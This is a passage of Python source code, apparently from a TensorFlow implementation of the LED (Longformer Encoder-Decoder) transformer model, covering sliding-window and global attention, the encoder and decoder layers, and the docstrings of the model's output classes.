Same as _sliding_chunks_query_key_matmul but for attn_probs and value tensors. Returned tensor will be of the
same shape as `attn_probs`
"""
batch_size, seq_len, num_heads, head_dim = shape_list(value)
tf.debugging.assert_equal(
seq_len % (window_overlap * 2), 0, message="Seq_len has to be multiple of 2 * window_overlap"
)
tf.debugging.assert_equal(
shape_list(attn_probs)[:3],
shape_list(value)[:3],
message="value and attn_probs must have same dims (except head_dim)",
)
tf.debugging.assert_equal(
shape_list(attn_probs)[3],
2 * window_overlap + 1,
message="attn_probs last dim has to be 2 * window_overlap + 1",
)
chunks_count = seq_len // window_overlap - 1
# group batch_size and num_heads dimensions into one, then chunk seq_len into chunks of size 2 window overlap
chunked_attn_probs = tf.reshape(
tf.transpose(attn_probs, (0, 2, 1, 3)),
(
batch_size * num_heads,
seq_len // window_overlap,
window_overlap,
2 * window_overlap + 1,
),
)
# group batch_size and num_heads dimensions into one
value = tf.reshape(
tf.transpose(value, (0, 2, 1, 3)),
(batch_size * num_heads, seq_len, head_dim),
)
# pad seq_len with w at the beginning of the sequence and another window overlap at the end
paddings = tf.convert_to_tensor([[0, 0], [window_overlap, window_overlap], [0, 0]])
padded_value = tf.pad(value, paddings, constant_values=-1)
# chunk padded_value into chunks of size 3 window overlap and an overlap of size window overlap
frame_size = 3 * window_overlap * head_dim
frame_hop_size = (shape_list(padded_value)[1] * head_dim - frame_size) // chunks_count
chunked_value = tf.signal.frame(
tf.reshape(padded_value, (batch_size * num_heads, -1)),
frame_size,
frame_hop_size,
)
chunked_value = tf.reshape(
chunked_value,
(batch_size * num_heads, chunks_count + 1, 3 * window_overlap, head_dim),
)
tf.debugging.assert_equal(
shape_list(chunked_value),
[batch_size * num_heads, chunks_count + 1, 3 * window_overlap, head_dim],
message="Chunked value has the wrong shape",
)
chunked_attn_probs = self._pad_and_diagonalize(chunked_attn_probs)
context = tf.einsum("bcwd,bcdh->bcwh", chunked_attn_probs, chunked_value)
context = tf.transpose(
tf.reshape(context, (batch_size, num_heads, seq_len, head_dim)),
(0, 2, 1, 3),
)
return context
@staticmethod
def _pad_and_transpose_last_two_dims(hidden_states_padded, paddings):
"""pads rows and then flips rows and columns"""
hidden_states_padded = tf.pad(
hidden_states_padded, paddings
) # padding value is not important because it will be overwritten
batch_size, chunk_size, seq_length, hidden_dim = shape_list(hidden_states_padded)
hidden_states_padded = tf.reshape(hidden_states_padded, (batch_size, chunk_size, hidden_dim, seq_length))
return hidden_states_padded
@staticmethod
def _pad_and_diagonalize(chunked_hidden_states):
"""
shift every row 1 step right, converting columns into diagonals.
Example:
```python
chunked_hidden_states: [
0.4983,
2.6918,
-0.0071,
1.0492,
-1.8348,
0.7672,
0.2986,
0.0285,
-0.7584,
0.4206,
-0.0405,
0.1599,
2.0514,
-1.1600,
0.5372,
0.2629,
]
window_overlap = num_rows = 4
```
(pad & diagonalize) => [ 0.4983, 2.6918, -0.0071, 1.0492, 0.0000, 0.0000, 0.0000
0.0000, -1.8348, 0.7672, 0.2986, 0.0285, 0.0000, 0.0000 0.0000, 0.0000, -0.7584, 0.4206,
-0.0405, 0.1599, 0.0000 0.0000, 0.0000, 0.0000, 2.0514, -1.1600, 0.5372, 0.2629 ]
"""
total_num_heads, num_chunks, window_overlap, hidden_dim = shape_list(chunked_hidden_states)
paddings = tf.convert_to_tensor([[0, 0], [0, 0], [0, 0], [0, window_overlap + 1]])
chunked_hidden_states = tf.pad(
chunked_hidden_states, paddings
) # total_num_heads x num_chunks x window_overlap x (hidden_dim+window_overlap+1). Padding value is not important because it'll be overwritten
chunked_hidden_states = tf.reshape(
chunked_hidden_states, (total_num_heads, num_chunks, -1)
) # total_num_heads x num_chunks x window_overlapL+window_overlapwindow_overlap+window_overlap
chunked_hidden_states = chunked_hidden_states[
:, :, :-window_overlap
] # total_num_heads x num_chunks x window_overlapL+window_overlapwindow_overlap
chunked_hidden_states = tf.reshape(
chunked_hidden_states,
(total_num_heads, num_chunks, window_overlap, window_overlap + hidden_dim),
) # total_num_heads x num_chunks, window_overlap x hidden_dim+window_overlap
chunked_hidden_states = chunked_hidden_states[:, :, :, :-1]
return chunked_hidden_states
@staticmethod
def _chunk(hidden_states, window_overlap):
"""convert into overlapping chunks. Chunk size = 2w, overlap size = w"""
batch_size, seq_length, hidden_dim = shape_list(hidden_states)
num_output_chunks = 2 * (seq_length // (2 * window_overlap)) - 1
# define frame size and frame stride (similar to convolution)
frame_hop_size = window_overlap * hidden_dim
frame_size = 2 * frame_hop_size
hidden_states = tf.reshape(hidden_states, (batch_size, seq_length * hidden_dim))
# chunk with overlap
chunked_hidden_states = tf.signal.frame(hidden_states, frame_size, frame_hop_size)
tf.debugging.assert_equal(
shape_list(chunked_hidden_states),
[batch_size, num_output_chunks, frame_size],
message=(
"Make sure chunking is correctly applied. `Chunked hidden states should have output dimension"
f" {[batch_size, frame_size, num_output_chunks]}, but got {shape_list(chunked_hidden_states)}."
),
)
chunked_hidden_states = tf.reshape(
chunked_hidden_states,
(batch_size, num_output_chunks, 2 * window_overlap, hidden_dim),
)
return chunked_hidden_states
@staticmethod
def _get_global_attn_indices(is_index_global_attn):
"""compute global attn indices required throughout forward pass"""
# helper variable
num_global_attn_indices = tf.math.count_nonzero(is_index_global_attn, axis=1)
num_global_attn_indices = tf.cast(num_global_attn_indices, dtype=tf.constant(1).dtype)
# max number of global attn indices in batch
max_num_global_attn_indices = tf.reduce_max(num_global_attn_indices)
# indices of global attn
is_index_global_attn_nonzero = tf.where(is_index_global_attn)
# helper variable
is_local_index_global_attn = tf.range(max_num_global_attn_indices) < tf.expand_dims(
num_global_attn_indices, axis=-1
)
# location of the non-padding values within global attention indices
is_local_index_global_attn_nonzero = tf.where(is_local_index_global_attn)
# location of the padding values within global attention indices
is_local_index_no_global_attn_nonzero = tf.where(tf.math.logical_not(is_local_index_global_attn))
return (
max_num_global_attn_indices,
is_index_global_attn_nonzero,
is_local_index_global_attn_nonzero,
is_local_index_no_global_attn_nonzero,
)
def _concat_with_global_key_attn_probs(
self,
attn_scores,
key_vectors,
query_vectors,
max_num_global_attn_indices,
is_index_global_attn_nonzero,
is_local_index_global_attn_nonzero,
is_local_index_no_global_attn_nonzero,
):
batch_size = shape_list(key_vectors)[0]
# select global key vectors
global_key_vectors = tf.gather_nd(key_vectors, is_index_global_attn_nonzero)
# create only global key vectors
key_vectors_only_global = tf.scatter_nd(
is_local_index_global_attn_nonzero,
global_key_vectors,
shape=(
batch_size,
max_num_global_attn_indices,
self.num_heads,
self.head_dim,
),
)
# (batch_size, seq_len, num_heads, max_num_global_attn_indices)
attn_probs_from_global_key = tf.einsum("blhd,bshd->blhs", query_vectors, key_vectors_only_global)
# (batch_size, max_num_global_attn_indices, seq_len, num_heads)
attn_probs_from_global_key_trans = tf.transpose(attn_probs_from_global_key, (0, 3, 1, 2))
mask_shape = (shape_list(is_local_index_no_global_attn_nonzero)[0],) + tuple(
shape_list(attn_probs_from_global_key_trans)[-2:]
)
mask = tf.ones(mask_shape) * -10000.0
mask = tf.cast(mask, dtype=attn_probs_from_global_key_trans.dtype)
# scatter mask
attn_probs_from_global_key_trans = tf.tensor_scatter_nd_update(
attn_probs_from_global_key_trans,
is_local_index_no_global_attn_nonzero,
mask,
)
# (batch_size, seq_len, num_heads, max_num_global_attn_indices)
attn_probs_from_global_key = tf.transpose(attn_probs_from_global_key_trans, (0, 2, 3, 1))
# concat to attn_probs
# (batch_size, seq_len, num_heads, extra attention count + 2*window+1)
attn_scores = tf.concat((attn_probs_from_global_key, attn_scores), axis=-1)
return attn_scores
def _compute_attn_output_with_global_indices(
self,
value_vectors,
attn_probs,
max_num_global_attn_indices,
is_index_global_attn_nonzero,
is_local_index_global_attn_nonzero,
):
batch_size = shape_list(attn_probs)[0]
# cut local attn probs to global only
attn_probs_only_global = attn_probs[:, :, :, :max_num_global_attn_indices]
# select global value vectors
global_value_vectors = tf.gather_nd(value_vectors, is_index_global_attn_nonzero)
# create only global value vectors
value_vectors_only_global = tf.scatter_nd(
is_local_index_global_attn_nonzero,
global_value_vectors,
shape=(
batch_size,
max_num_global_attn_indices,
self.num_heads,
self.head_dim,
),
)
# compute attn output only global
attn_output_only_global = tf.einsum("blhs,bshd->blhd", attn_probs_only_global, value_vectors_only_global)
# reshape attn probs
attn_probs_without_global = attn_probs[:, :, :, max_num_global_attn_indices:]
# compute attn output with global
attn_output_without_global = self._sliding_chunks_matmul_attn_probs_value(
attn_probs_without_global, value_vectors, self.one_sided_attn_window_size
)
return attn_output_only_global + attn_output_without_global
def _compute_global_attn_output_from_hidden(
self,
attn_output,
hidden_states,
max_num_global_attn_indices,
layer_head_mask,
is_local_index_global_attn_nonzero,
is_index_global_attn_nonzero,
is_local_index_no_global_attn_nonzero,
is_index_masked,
training,
):
batch_size, seq_len = shape_list(hidden_states)[:2]
# prepare global hidden states
global_attn_hidden_states = tf.gather_nd(hidden_states, is_index_global_attn_nonzero)
global_attn_hidden_states = tf.scatter_nd(
is_local_index_global_attn_nonzero,
global_attn_hidden_states,
shape=(batch_size, max_num_global_attn_indices, self.embed_dim),
)
# global key, query, value
global_query_vectors_only_global = self.query_global(global_attn_hidden_states)
global_key_vectors = self.key_global(hidden_states)
global_value_vectors = self.value_global(hidden_states)
# normalize
global_query_vectors_only_global /= tf.math.sqrt(
tf.cast(self.head_dim, dtype=global_query_vectors_only_global.dtype)
)
global_query_vectors_only_global = self.reshape_and_transpose(global_query_vectors_only_global, batch_size)
global_key_vectors = self.reshape_and_transpose(global_key_vectors, batch_size)
global_value_vectors = self.reshape_and_transpose(global_value_vectors, batch_size)
# compute attn scores
global_attn_scores = tf.matmul(global_query_vectors_only_global, global_key_vectors, transpose_b=True)
tf.debugging.assert_equal(
shape_list(global_attn_scores),
[batch_size * self.num_heads, max_num_global_attn_indices, seq_len],
message=(
"global_attn_scores have the wrong size. Size should be"
f" {(batch_size * self.num_heads, max_num_global_attn_indices, seq_len)}, but is"
f" {shape_list(global_attn_scores)}."
),
)
global_attn_scores = tf.reshape(
global_attn_scores,
(batch_size, self.num_heads, max_num_global_attn_indices, seq_len),
)
global_attn_scores_trans = tf.transpose(global_attn_scores, (0, 2, 1, 3))
mask_shape = (shape_list(is_local_index_no_global_attn_nonzero)[0],) + tuple(
shape_list(global_attn_scores_trans)[-2:]
)
global_attn_mask = tf.ones(mask_shape) * -10000.0
global_attn_mask = tf.cast(global_attn_mask, dtype=global_attn_scores_trans.dtype)
# scatter mask
global_attn_scores_trans = tf.tensor_scatter_nd_update(
global_attn_scores_trans,
is_local_index_no_global_attn_nonzero,
global_attn_mask,
)
global_attn_scores = tf.transpose(global_attn_scores_trans, (0, 2, 1, 3))
# mask global attn scores
attn_mask = tf.tile(is_index_masked[:, None, None, :], (1, shape_list(global_attn_scores)[1], 1, 1))
global_attn_scores = tf.where(attn_mask, -10000.0, global_attn_scores)
global_attn_scores = tf.reshape(
global_attn_scores,
(batch_size * self.num_heads, max_num_global_attn_indices, seq_len),
)
# compute global attn probs
global_attn_probs_float = stable_softmax(global_attn_scores, axis=-1)
# apply layer head masking
if layer_head_mask is not None:
tf.debugging.assert_equal(
shape_list(layer_head_mask),
[self.num_heads],
message=(
f"Head mask for a single layer should be of size {(self.num_heads)}, but is"
f" {shape_list(layer_head_mask)}"
),
)
global_attn_probs_float = tf.reshape(layer_head_mask, (1, -1, 1, 1)) * tf.reshape(
global_attn_probs_float, (batch_size, self.num_heads, max_num_global_attn_indices, seq_len)
)
global_attn_probs_float = tf.reshape(
global_attn_probs_float, (batch_size * self.num_heads, max_num_global_attn_indices, seq_len)
)
# dropout
global_attn_probs = self.global_dropout(global_attn_probs_float, training=training)
# global attn output
global_attn_output = tf.matmul(global_attn_probs, global_value_vectors)
tf.debugging.assert_equal(
shape_list(global_attn_output),
[batch_size * self.num_heads, max_num_global_attn_indices, self.head_dim],
message=(
"global_attn_output tensor has the wrong size. Size should be"
f" {(batch_size * self.num_heads, max_num_global_attn_indices, self.head_dim)}, but is"
f" {shape_list(global_attn_output)}."
),
)
global_attn_output = tf.reshape(
global_attn_output,
(batch_size, self.num_heads, max_num_global_attn_indices, self.head_dim),
)
# get only non zero global attn output
nonzero_global_attn_output = tf.gather_nd(
tf.transpose(global_attn_output, (0, 2, 1, 3)),
is_local_index_global_attn_nonzero,
)
nonzero_global_attn_output = tf.reshape(
nonzero_global_attn_output,
(shape_list(is_local_index_global_attn_nonzero)[0], -1),
)
# overwrite values with global attention
attn_output = tf.tensor_scatter_nd_update(
attn_output, is_index_global_attn_nonzero, nonzero_global_attn_output
)
global_attn_probs = tf.reshape(
global_attn_probs, (batch_size, self.num_heads, max_num_global_attn_indices, seq_len)
)
return attn_output, global_attn_probs
def reshape_and_transpose(self, vector, batch_size):
return tf.reshape(
tf.transpose(
tf.reshape(vector, (batch_size, -1, self.num_heads, self.head_dim)),
(0, 2, 1, 3),
),
(batch_size * self.num_heads, -1, self.head_dim),
)
class TFLEDEncoderAttention(tf.keras.layers.Layer):
def __init__(self, config, layer_id, **kwargs):
super().__init__(**kwargs)
self.longformer_self_attn = TFLEDEncoderSelfAttention(config, layer_id=layer_id, name="longformer_self_attn")
self.output_dense = tf.keras.layers.Dense(config.d_model, use_bias=True, name="output")
def call(self, inputs, training=False):
(
hidden_states,
attention_mask,
layer_head_mask,
is_index_masked,
is_index_global_attn,
is_global_attn,
) = inputs
self_outputs = self.longformer_self_attn(
[hidden_states, attention_mask, layer_head_mask, is_index_masked, is_index_global_attn, is_global_attn],
training=training,
)
attention_output = self.output_dense(self_outputs[0], training=training)
outputs = (attention_output,) + self_outputs[1:]
return outputs
class TFLEDDecoderAttention(tf.keras.layers.Layer):
"""Multi-headed attention from "Attention Is All You Need"""
def __init__(
self,
embed_dim: int,
num_heads: int,
dropout: float = 0.0,
is_decoder: bool = False,
bias: bool = True,
**kwargs,
):
super().__init__(**kwargs)
self.embed_dim = embed_dim
self.num_heads = num_heads
self.dropout = tf.keras.layers.Dropout(dropout)
self.head_dim = embed_dim // num_heads
assert self.head_dim * num_heads == self.embed_dim, "embed_dim must be divisible by num_heads"
self.scaling = self.head_dim**-0.5
self.is_decoder = is_decoder
self.k_proj = tf.keras.layers.Dense(embed_dim, use_bias=bias, name="k_proj")
self.q_proj = tf.keras.layers.Dense(embed_dim, use_bias=bias, name="q_proj")
self.v_proj = tf.keras.layers.Dense(embed_dim, use_bias=bias, name="v_proj")
self.out_proj = tf.keras.layers.Dense(embed_dim, use_bias=bias, name="out_proj")
def _shape(self, tensor: tf.Tensor, seq_len: int, bsz: int):
return tf.transpose(tf.reshape(tensor, (bsz, seq_len, self.num_heads, self.head_dim)), (0, 2, 1, 3))
def call(
self,
hidden_states: tf.Tensor,
key_value_states: Optional[tf.Tensor] = None,
past_key_value: Optional[Tuple[Tuple[tf.Tensor]]] = None,
attention_mask: Optional[tf.Tensor] = None,
layer_head_mask: Optional[tf.Tensor] = None,
training=False,
) -> Tuple[tf.Tensor, Optional[tf.Tensor]]:
"""Input shape: Batch x Time x Channel"""
# if key_value_states are provided this layer is used as a cross-attention layer
# for the decoder
is_cross_attention = key_value_states is not None
bsz, tgt_len, embed_dim = shape_list(hidden_states)
# get query proj
query_states = self.q_proj(hidden_states) * self.scaling
# get key, value proj
if is_cross_attention and past_key_value is not None:
# reuse k,v, cross_attentions
key_states = past_key_value[0]
value_states = past_key_value[1]
elif is_cross_attention:
# cross_attentions
key_states = self._shape(self.k_proj(key_value_states), -1, bsz)
value_states = self._shape(self.v_proj(key_value_states), -1, bsz)
elif past_key_value is not None:
# reuse k, v, self_attention
key_states = self._shape(self.k_proj(hidden_states), -1, bsz)
value_states = self._shape(self.v_proj(hidden_states), -1, bsz)
key_states = tf.concat([past_key_value[0], key_states], axis=2)
value_states = tf.concat([past_key_value[1], value_states], axis=2)
else:
# self_attention
key_states = self._shape(self.k_proj(hidden_states), -1, bsz)
value_states = self._shape(self.v_proj(hidden_states), -1, bsz)
if self.is_decoder:
# if cross_attention save Tuple(tf.Tensor, tf.Tensor) of all cross attention key/value_states.
# Further calls to cross_attention layer can then reuse all cross-attention
# key/value_states (first "if" case)
# if uni-directional self-attention (decoder) save Tuple(tf.Tensor, tf.Tensor) of
# all previous decoder key/value_states. Further calls to uni-directional self-attention
# can concat previous decoder key/value_states to current projected key/value_states (third "elif" case)
# if encoder bi-directional self-attention `past_key_value` is always `None`
past_key_value = (key_states, value_states)
proj_shape = (bsz * self.num_heads, -1, self.head_dim)
query_states = tf.reshape(self._shape(query_states, tgt_len, bsz), proj_shape)
key_states = tf.reshape(key_states, proj_shape)
value_states = tf.reshape(value_states, proj_shape)
src_len = shape_list(key_states)[1]
attn_weights = tf.matmul(query_states, key_states, transpose_b=True)
tf.debugging.assert_equal(
shape_list(attn_weights),
[bsz * self.num_heads, tgt_len, src_len],
message=(
f"Attention weights should be of size {(bsz * self.num_heads, tgt_len, src_len)}, but is"
f" {shape_list(attn_weights)}"
),
)
if attention_mask is not None:
tf.debugging.assert_equal(
shape_list(attention_mask),
[bsz, 1, tgt_len, src_len],
message=(
f"Attention mask should be of size {(bsz, 1, tgt_len, src_len)}, but is"
f" {shape_list(attention_mask)}"
),
)
attn_weights = tf.reshape(attn_weights, (bsz, self.num_heads, tgt_len, src_len)) + tf.cast(
attention_mask, dtype=attn_weights.dtype
)
attn_weights = tf.reshape(attn_weights, (bsz * self.num_heads, tgt_len, src_len))
attn_weights = stable_softmax(attn_weights, axis=-1)
if layer_head_mask is not None:
tf.debugging.assert_equal(
shape_list(layer_head_mask),
[self.num_heads],
message=(
f"Head mask for a single layer should be of size {(self.num_heads)}, but is"
f" {shape_list(layer_head_mask)}"
),
)
attn_weights = tf.reshape(layer_head_mask, (1, -1, 1, 1)) * tf.reshape(
attn_weights, (bsz, self.num_heads, tgt_len, src_len)
)
attn_weights = tf.reshape(attn_weights, (bsz * self.num_heads, tgt_len, src_len))
attn_probs = self.dropout(attn_weights, training=training)
attn_output = tf.matmul(attn_probs, value_states)
tf.debugging.assert_equal(
shape_list(attn_output),
[bsz * self.num_heads, tgt_len, self.head_dim],
message=(
f"`attn_output` should be of size {(bsz, self.num_heads, tgt_len, self.head_dim)}, but is"
f" {shape_list(attn_output)}"
),
)
attn_output = tf.transpose(
tf.reshape(attn_output, (bsz, self.num_heads, tgt_len, self.head_dim)), (0, 2, 1, 3)
)
attn_output = tf.reshape(attn_output, (bsz, tgt_len, embed_dim))
attn_output = self.out_proj(attn_output)
attn_weights: tf.Tensor = tf.reshape(attn_weights, (bsz, self.num_heads, tgt_len, src_len))
return attn_output, attn_weights, past_key_value
class TFLEDEncoderLayer(tf.keras.layers.Layer):
def __init__(self, config: LEDConfig, layer_id: int, **kwargs):
super().__init__(**kwargs)
self.embed_dim = config.d_model
self.self_attn = TFLEDEncoderAttention(config, layer_id, name="self_attn")
self.self_attn_layer_norm = tf.keras.layers.LayerNormalization(epsilon=1e-5, name="self_attn_layer_norm")
self.dropout = tf.keras.layers.Dropout(config.dropout)
self.activation_fn = get_tf_activation(config.activation_function)
self.activation_dropout = tf.keras.layers.Dropout(config.activation_dropout)
self.fc1 = tf.keras.layers.Dense(config.encoder_ffn_dim, name="fc1")
self.fc2 = tf.keras.layers.Dense(self.embed_dim, name="fc2")
self.final_layer_norm = tf.keras.layers.LayerNormalization(epsilon=1e-5, name="final_layer_norm")
def call(
self,
hidden_states: tf.Tensor,
attention_mask: tf.Tensor,
layer_head_mask: tf.Tensor,
is_index_masked: tf.Tensor,
is_index_global_attn: tf.Tensor,
is_global_attn: bool,
training=False,
):
"""
Args:
hidden_states (`tf.Tensor`): input to the layer of shape *(seq_len, batch, embed_dim)*
attention_mask (`tf.Tensor`): attention mask of size
*(batch, 1, tgt_len, src_len)* where padding elements are indicated by very large negative values.
layer_head_mask (`tf.Tensor`): mask for attention heads in a given layer of size
*(config.encoder_attention_heads,)*.
"""
residual = hidden_states
layer_outputs = self.self_attn(
[hidden_states, attention_mask, layer_head_mask, is_index_masked, is_index_global_attn, is_global_attn],
training=training,
)
hidden_states = layer_outputs[0]
tf.debugging.assert_equal(
shape_list(hidden_states),
shape_list(residual),
message=f"Self attn modified the shape of query {shape_list(residual)} to {shape_list(hidden_states)}",
)
hidden_states = self.dropout(hidden_states, training=training)
hidden_states = residual + hidden_states
hidden_states = self.self_attn_layer_norm(hidden_states)
residual = hidden_states
hidden_states = self.activation_fn(self.fc1(hidden_states))
hidden_states = self.activation_dropout(hidden_states, training=training)
hidden_states = self.fc2(hidden_states)
hidden_states = self.dropout(hidden_states, training=training)
hidden_states = residual + hidden_states
hidden_states = self.final_layer_norm(hidden_states)
return (hidden_states,) + layer_outputs[1:]
class TFLEDDecoderLayer(tf.keras.layers.Layer):
def __init__(self, config: LEDConfig, **kwargs):
super().__init__(**kwargs)
self.embed_dim = config.d_model
self.self_attn = TFLEDDecoderAttention(
embed_dim=self.embed_dim,
num_heads=config.decoder_attention_heads,
dropout=config.attention_dropout,
name="self_attn",
is_decoder=True,
)
self.dropout = tf.keras.layers.Dropout(config.dropout)
self.activation_fn = get_tf_activation(config.activation_function)
self.activation_dropout = tf.keras.layers.Dropout(config.activation_dropout)
self.self_attn_layer_norm = tf.keras.layers.LayerNormalization(epsilon=1e-5, name="self_attn_layer_norm")
self.encoder_attn = TFLEDDecoderAttention(
self.embed_dim,
config.decoder_attention_heads,
dropout=config.attention_dropout,
name="encoder_attn",
is_decoder=True,
)
self.encoder_attn_layer_norm = tf.keras.layers.LayerNormalization(epsilon=1e-5, name="encoder_attn_layer_norm")
self.fc1 = tf.keras.layers.Dense(config.decoder_ffn_dim, name="fc1")
self.fc2 = tf.keras.layers.Dense(self.embed_dim, name="fc2")
self.final_layer_norm = tf.keras.layers.LayerNormalization(epsilon=1e-5, name="final_layer_norm")
def call(
self,
hidden_states,
attention_mask: Optional[tf.Tensor] = None,
encoder_hidden_states: Optional[tf.Tensor] = None,
encoder_attention_mask: Optional[tf.Tensor] = None,
layer_head_mask: Optional[tf.Tensor] = None,
encoder_layer_head_mask: Optional[tf.Tensor] = None,
past_key_value: Optional[Tuple[tf.Tensor]] = None,
training=False,
) -> Tuple[tf.Tensor, tf.Tensor, tf.Tensor, Tuple[Tuple[tf.Tensor]]]:
"""
Args:
hidden_states (`tf.Tensor`): input to the layer of shape *(seq_len, batch, embed_dim)*
attention_mask (`tf.Tensor`): attention mask of size
*(batch, 1, tgt_len, src_len)* where padding elements are indicated by very large negative values.
encoder_hidden_states (`tf.Tensor`):
cross attention input to the layer of shape *(seq_len, batch, embed_dim)*
encoder_attention_mask (`tf.Tensor`): encoder attention mask of size
*(batch, 1, tgt_len, src_len)* where padding elements are indicated by very large negative values.
layer_head_mask (`tf.Tensor`): mask for attention heads in a given layer of size
*(config.encoder_attention_heads,)*.
encoder_layer_head_mask (`tf.Tensor`): mask for encoder attention heads in a given layer of
size *(config.encoder_attention_heads,)*.
past_key_value (`Tuple(tf.Tensor)`): cached past key and value projection states
"""
residual = hidden_states
# Self-Attention
# decoder uni-directional self-attention cached key/values tuple is at positions 1,2
self_attn_past_key_value = past_key_value[:2] if past_key_value is not None else None
# add present self-attn cache to positions 1,2 of present_key_value tuple
hidden_states, self_attn_weights, present_key_value = self.self_attn(
hidden_states=hidden_states,
past_key_value=self_attn_past_key_value,
attention_mask=attention_mask,
layer_head_mask=layer_head_mask,
)
hidden_states = self.dropout(hidden_states, training=training)
hidden_states = residual + hidden_states
hidden_states = self.self_attn_layer_norm(hidden_states)
# Cross-Attention Block
cross_attn_present_key_value = None
cross_attn_weights = None
if encoder_hidden_states is not None:
residual = hidden_states
# cross_attn cached key/values tuple is at positions 3,4 of present_key_value tuple
cross_attn_past_key_value = past_key_value[-2:] if past_key_value is not None else None
hidden_states, cross_attn_weights, cross_attn_present_key_value = self.encoder_attn(
hidden_states=hidden_states,
key_value_states=encoder_hidden_states,
attention_mask=encoder_attention_mask,
layer_head_mask=encoder_layer_head_mask,
past_key_value=cross_attn_past_key_value,
)
hidden_states = self.dropout(hidden_states, training=training)
hidden_states = residual + hidden_states
hidden_states = self.encoder_attn_layer_norm(hidden_states)
# add cross-attn to positions 3,4 of present_key_value tuple
present_key_value = present_key_value + cross_attn_present_key_value
# Fully Connected
residual = hidden_states
hidden_states = self.activation_fn(self.fc1(hidden_states))
hidden_states = self.activation_dropout(hidden_states, training=training)
hidden_states = self.fc2(hidden_states)
hidden_states = self.dropout(hidden_states, training=training)
hidden_states = residual + hidden_states
hidden_states = self.final_layer_norm(hidden_states)
return (
hidden_states,
self_attn_weights,
cross_attn_weights,
present_key_value,
)
class TFLEDPreTrainedModel(TFPreTrainedModel):
config_class = LEDConfig
base_model_prefix = "led"
@property
def dummy_inputs(self):
input_ids = tf.convert_to_tensor([[7, 6, 0, 0, 1], [1, 2, 3, 0, 0]], dtype=tf.int32)
# make sure global layers are initialized
attention_mask = tf.convert_to_tensor([[1, 1, 0, 0, 1], [1, 1, 1, 0, 0]], dtype=tf.int32)
global_attention_mask = tf.convert_to_tensor([[0, 0, 0, 0, 1], [0, 0, 1, 0, 0]], dtype=tf.int32)
dummy_inputs = {
"input_ids": input_ids,
"attention_mask": attention_mask,
"global_attention_mask": global_attention_mask,
"decoder_input_ids": input_ids,
}
return dummy_inputs
@tf.function(
input_signature=[
{
"input_ids": tf.TensorSpec((None, None), tf.int32, name="input_ids"),
"attention_mask": tf.TensorSpec((None, None), tf.int32, name="attention_mask"),
"decoder_input_ids": tf.TensorSpec((None, None), tf.int32, name="decoder_input_ids"),
"decoder_attention_mask": tf.TensorSpec((None, None), tf.int32, name="decoder_attention_mask"),
}
]
)
def serving(self, inputs):
output = self.call(inputs)
return self.serving_output(output)
@dataclass
# Copied from transformers.models.longformer.modeling_tf_longformer.TFLongformerBaseModelOutput with TFLongformer->TFLEDEncoder
class TFLEDEncoderBaseModelOutput(ModelOutput):
"""
Base class for Longformer's outputs, with potential hidden states, local and global attentions.
Args:
last_hidden_state (`tf.Tensor` of shape `(batch_size, sequence_length, hidden_size)`):
Sequence of hidden-states at the output of the last layer of the model.
hidden_states (`tuple(tf.Tensor)`, *optional*, returned when `output_hidden_states=True` is passed or when `config.output_hidden_states=True`):
Tuple of `tf.Tensor` (one for the output of the embeddings + one for the output of each layer) of shape
`(batch_size, sequence_length, hidden_size)`.
Hidden-states of the model at the output of each layer plus the initial embedding outputs.
attentions (`tuple(tf.Tensor)`, *optional*, returned when `output_attentions=True` is passed or when `config.output_attentions=True`):
Tuple of `tf.Tensor` (one for each layer) of shape `(batch_size, num_heads, sequence_length, x +
attention_window + 1)`, where `x` is the number of tokens with global attention mask.
Local attentions weights after the attention softmax, used to compute the weighted average in the
self-attention heads. Those are the attention weights from every token in the sequence to every token with
global attention (first `x` values) and to every token in the attention window (remaining `attention_window
+ 1` values). Note that the first `x` values refer to tokens with fixed positions in the text, but the
remaining `attention_window + 1` values refer to tokens with relative positions: the attention weight of a
token to itself is located at index `x + attention_window / 2` and the `attention_window / 2` preceding
(succeeding) values are the attention weights to the `attention_window / 2` preceding (succeeding) tokens.
If the attention window contains a token with global attention, the attention weight at the corresponding
index is set to 0; the value should be accessed from the first `x` attention weights. If a token has global
attention, the attention weights to all other tokens in `attentions` is set to 0, the values should be
accessed from `global_attentions`.
global_attentions (`tuple(tf.Tensor)`, *optional*, returned when `output_attentions=True` is passed or when `config.output_attentions=True`):
Tuple of `tf.Tensor` (one for each layer) of shape `(batch_size, num_heads, sequence_length, x)`, where `x`
is the number of tokens with global attention mask.
Global attentions weights after the attention softmax, used to compute the weighted average in the
self-attention heads. Those are the attention weights from every token with global attention to every token
in the sequence.
"""
last_hidden_state: tf.Tensor = None
hidden_states: Optional[Tuple[tf.Tensor]] = None
attentions: Optional[Tuple[tf.Tensor]] = None
global_attentions: Optional[Tuple[tf.Tensor]] = None
@dataclass
class TFLEDSeq2SeqModelOutput(ModelOutput):
"""
Base class for model encoder's outputs that also contains : pre-computed hidden states that can speed up sequential
decoding.
Args:
last_hidden_state (`tf.Tensor` of shape `(batch_size, sequence_length, hidden_size)`):
Sequence of hidden-states at the output of the last layer of the decoder of the model.
If `past_key_values` is used only the last hidden-state of the sequences of shape `(batch_size, 1,
hidden_size)` is output.
past_key_values (`List[tf.Tensor]`, *optional*, returned when `use_cache=True` is passed or when `config.use_cache=True`):
List of `tf.Tensor` of length `config.n_layers`, with each tensor of shape `(2, batch_size, num_heads,
sequence_length, embed_size_per_head)`).
Contains pre-computed hidden-states (key and values in the attention blocks) of the decoder that can be
used (see `past_key_values` input) to speed up sequential decoding.
decoder_hidden_states (`tuple(tf.Tensor)`, *optional*, returned when `output_hidden_states=True` is passed or when `config.output_hidden_states=True`):
Tuple of `tf.Tensor` (one for the output of the embeddings + one for the output of each layer) of shape
`(batch_size, sequence_length, hidden_size)`.
Hidden-states of the decoder at the output of each layer plus the initial embedding outputs.
decoder_attentions (`tuple(tf.Tensor)`, *optional*, returned when `output_attentions=True` is passed or when `config.output_attentions=True`):
Tuple of `tf.Tensor` (one for each layer) of shape `(batch_size, num_heads, sequence_length,
sequence_length)`.
Attentions weights of the decoder, after the attention softmax, used to compute the weighted average in the
self-attention heads.
cross_attentions (`tuple(tf.Tensor)`, *optional*, returned when `output_attentions=True` is passed or when `config.output_attentions=True`):
Tuple of `tf.Tensor` (one for each layer) of shape `(batch_size, num_heads, sequence_length,
sequence_length)`.
Attentions weights of the decoder's cross-attention layer, after the attention softmax, used to compute the
weighted average in the cross-attention heads.
encoder_last_hidden_state (`tf.Tensor` of shape `(batch_size, sequence_length, hidden_size)`, *optional*):
Sequence of hidden-states at the output of the last layer of the encoder of the model.
